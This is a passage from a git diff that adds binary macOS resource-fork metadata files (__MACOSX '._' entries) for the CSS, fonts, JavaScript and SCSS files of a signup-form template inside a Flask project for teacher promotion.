b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._index.html differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._js b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._js new file mode 100644 index 00000000..37350f75 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._js differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._main.html b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._main.html new file mode 100644 index 00000000..e4bf61f1 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._main.html differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._scss new file mode 100644 index 00000000..0f8af8e0 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._.DS_Store b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._.DS_Store new file mode 100644 index 00000000..924be70e Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._.DS_Store differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._bootstrap.min.css b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._bootstrap.min.css new file mode 100644 index 00000000..4c52c524 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._bootstrap.min.css differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._bootstrap.min.css.map b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._bootstrap.min.css.map new file mode 100644 index 00000000..0abe7f0b Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._bootstrap.min.css.map differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._owl.carousel.min.css b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._owl.carousel.min.css new file mode 100644 index 00000000..5975ef89 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._owl.carousel.min.css differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._style.css b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._style.css new file mode 100644 index 00000000..1cbd5a99 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/css/._style.css differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/._.DS_Store b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/._.DS_Store new file mode 100644 index 00000000..924be70e Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/._.DS_Store differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/._icomoon b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/._icomoon new file mode 100644 index 00000000..a0a05001 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/._icomoon differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._Read Me.txt b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._Read Me.txt new file mode 100644 index 00000000..bee8aaeb Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._Read Me.txt differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._demo-files b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._demo-files new file mode 100644 index 00000000..74edd77e Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._demo-files differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._demo.html b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._demo.html new file mode 100644 index 00000000..14f18813 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._demo.html differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._fonts b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._fonts new file mode 100644 index 00000000..131241a4 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._fonts differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._selection.json b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._selection.json new file mode 100644 index 00000000..127b525a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._selection.json differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._style.css b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._style.css new file mode 100644 index 00000000..b6fa482f Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/._style.css differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/demo-files/._demo.css b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/demo-files/._demo.css new file mode 100644 index 00000000..fcc80773 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/demo-files/._demo.css differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/demo-files/._demo.js b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/demo-files/._demo.js new file mode 100644 index 00000000..315deddc Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/demo-files/._demo.js differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.eot b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.eot new file mode 100644 index 00000000..90c0aeb4 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.eot differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.svg b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.svg new file mode 100644 index 00000000..63e8ed43 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.svg differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.ttf b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.ttf new file mode 100644 index 00000000..8f957044 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.ttf differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.woff b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.woff new file mode 100644 index 00000000..5d408428 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/fonts/icomoon/fonts/._icomoon.woff differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/images/._.DS_Store b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/images/._.DS_Store new file mode 100644 index 00000000..924be70e Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/images/._.DS_Store differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/images/._bg_1.jpg b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/images/._bg_1.jpg new file mode 100644 index 00000000..a8ece2f0 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/images/._bg_1.jpg differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._bootstrap.min.js b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._bootstrap.min.js new file mode 100644 index 00000000..de8a5962 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._bootstrap.min.js differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._jquery-3.3.1.min.js b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._jquery-3.3.1.min.js new file mode 100644 index 00000000..10b6ad8b Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._jquery-3.3.1.min.js differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._main.js b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._main.js new file mode 100644 index 00000000..540b3f0a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._main.js differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._owl.carousel.min.js b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._owl.carousel.min.js new file mode 100644 index 00000000..2f7442f2 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._owl.carousel.min.js differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._popper.min.js b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._popper.min.js new file mode 100644 index 00000000..3b5b887a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/js/._popper.min.js differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._.DS_Store b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._.DS_Store new file mode 100644 index 00000000..924be70e Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._.DS_Store differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._bootstrap b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._bootstrap new file mode 100644 index 00000000..9751edce Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._bootstrap differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._style.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._style.scss new file mode 100644 index 00000000..0a483211 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/._style.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__alert.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__alert.scss new file mode 100644 index 00000000..786cdfee Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__alert.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__badge.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__badge.scss new file mode 100644 index 00000000..3bf16d35 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__badge.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__breadcrumb.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__breadcrumb.scss new file mode 100644 index 00000000..f1a8e10c Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__breadcrumb.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__button-group.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__button-group.scss new file mode 100644 index 00000000..0887dcf5 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__button-group.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__buttons.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__buttons.scss new file mode 100644 index 00000000..5dbbc0e3 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__buttons.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__card.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__card.scss new file mode 100644 index 00000000..bb307ee5 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__card.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__carousel.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__carousel.scss new file mode 100644 index 00000000..bd41092c Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__carousel.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__close.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__close.scss new file mode 100644 index 00000000..39a808c4 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__close.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__code.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__code.scss new file mode 100644 index 00000000..6e6d217a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__code.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__custom-forms.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__custom-forms.scss new file mode 100644 index 00000000..66f4a07f Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__custom-forms.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__dropdown.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__dropdown.scss new file mode 100644 index 00000000..77347fab Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__dropdown.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__forms.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__forms.scss new file mode 100644 index 00000000..5cba8a72 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__forms.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__functions.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__functions.scss new file mode 100644 index 00000000..68c5ce63 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__functions.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__grid.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__grid.scss new file mode 100644 index 00000000..e2caf7c1 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__grid.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__images.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__images.scss new file mode 100644 index 00000000..810a2b9a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__images.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__input-group.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__input-group.scss new file mode 100644 index 00000000..2a334f32 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__input-group.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__jumbotron.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__jumbotron.scss new file mode 100644 index 00000000..91034ac1 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__jumbotron.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__list-group.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__list-group.scss new file mode 100644 index 00000000..99f6af14 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__list-group.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__media.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__media.scss new file mode 100644 index 00000000..fbaa3bcf Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__media.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__mixins.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__mixins.scss new file mode 100644 index 00000000..325aebab Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__mixins.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__modal.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__modal.scss new file mode 100644 index 00000000..ee9c44e3 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__modal.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__nav.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__nav.scss new file mode 100644 index 00000000..ad44c9cc Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__nav.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__navbar.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__navbar.scss new file mode 100644 index 00000000..4ed72f58 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__navbar.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__pagination.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__pagination.scss new file mode 100644 index 00000000..b6552ed8 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__pagination.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__popover.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__popover.scss new file mode 100644 index 00000000..fee00637 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__popover.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__print.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__print.scss new file mode 100644 index 00000000..b00e709a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__print.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__progress.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__progress.scss new file mode 100644 index 00000000..9295a8b3 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__progress.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__reboot.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__reboot.scss new file mode 100644 index 00000000..239c9224 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__reboot.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__root.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__root.scss new file mode 100644 index 00000000..e701dd2b Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__root.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__spinners.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__spinners.scss new file mode 100644 index 00000000..68bfaa4a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__spinners.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__tables.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__tables.scss new file mode 100644 index 00000000..3411fea5 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__tables.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__toasts.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__toasts.scss new file mode 100644 index 00000000..3500400b Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__toasts.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__tooltip.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__tooltip.scss new file mode 100644 index 00000000..bd871b61 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__tooltip.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__transitions.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__transitions.scss new file mode 100644 index 00000000..000c6314 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__transitions.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__type.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__type.scss new file mode 100644 index 00000000..672d6c1d Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__type.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__utilities.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__utilities.scss new file mode 100644 index 00000000..d841897a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__utilities.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__variables.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__variables.scss new file mode 100644 index 00000000..9ab1255f Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/.__variables.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap-grid.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap-grid.scss new file mode 100644 index 00000000..44fb8c8a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap-grid.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap-reboot.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap-reboot.scss new file mode 100644 index 00000000..455a57cc Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap-reboot.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap.scss new file mode 100644 index 00000000..0e841161 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._bootstrap.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._mixins b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._mixins new file mode 100644 index 00000000..72116039 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._mixins differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._utilities b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._utilities new file mode 100644 index 00000000..227c64e7 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._utilities differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._vendor b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._vendor new file mode 100644 index 00000000..9c10166a Binary files 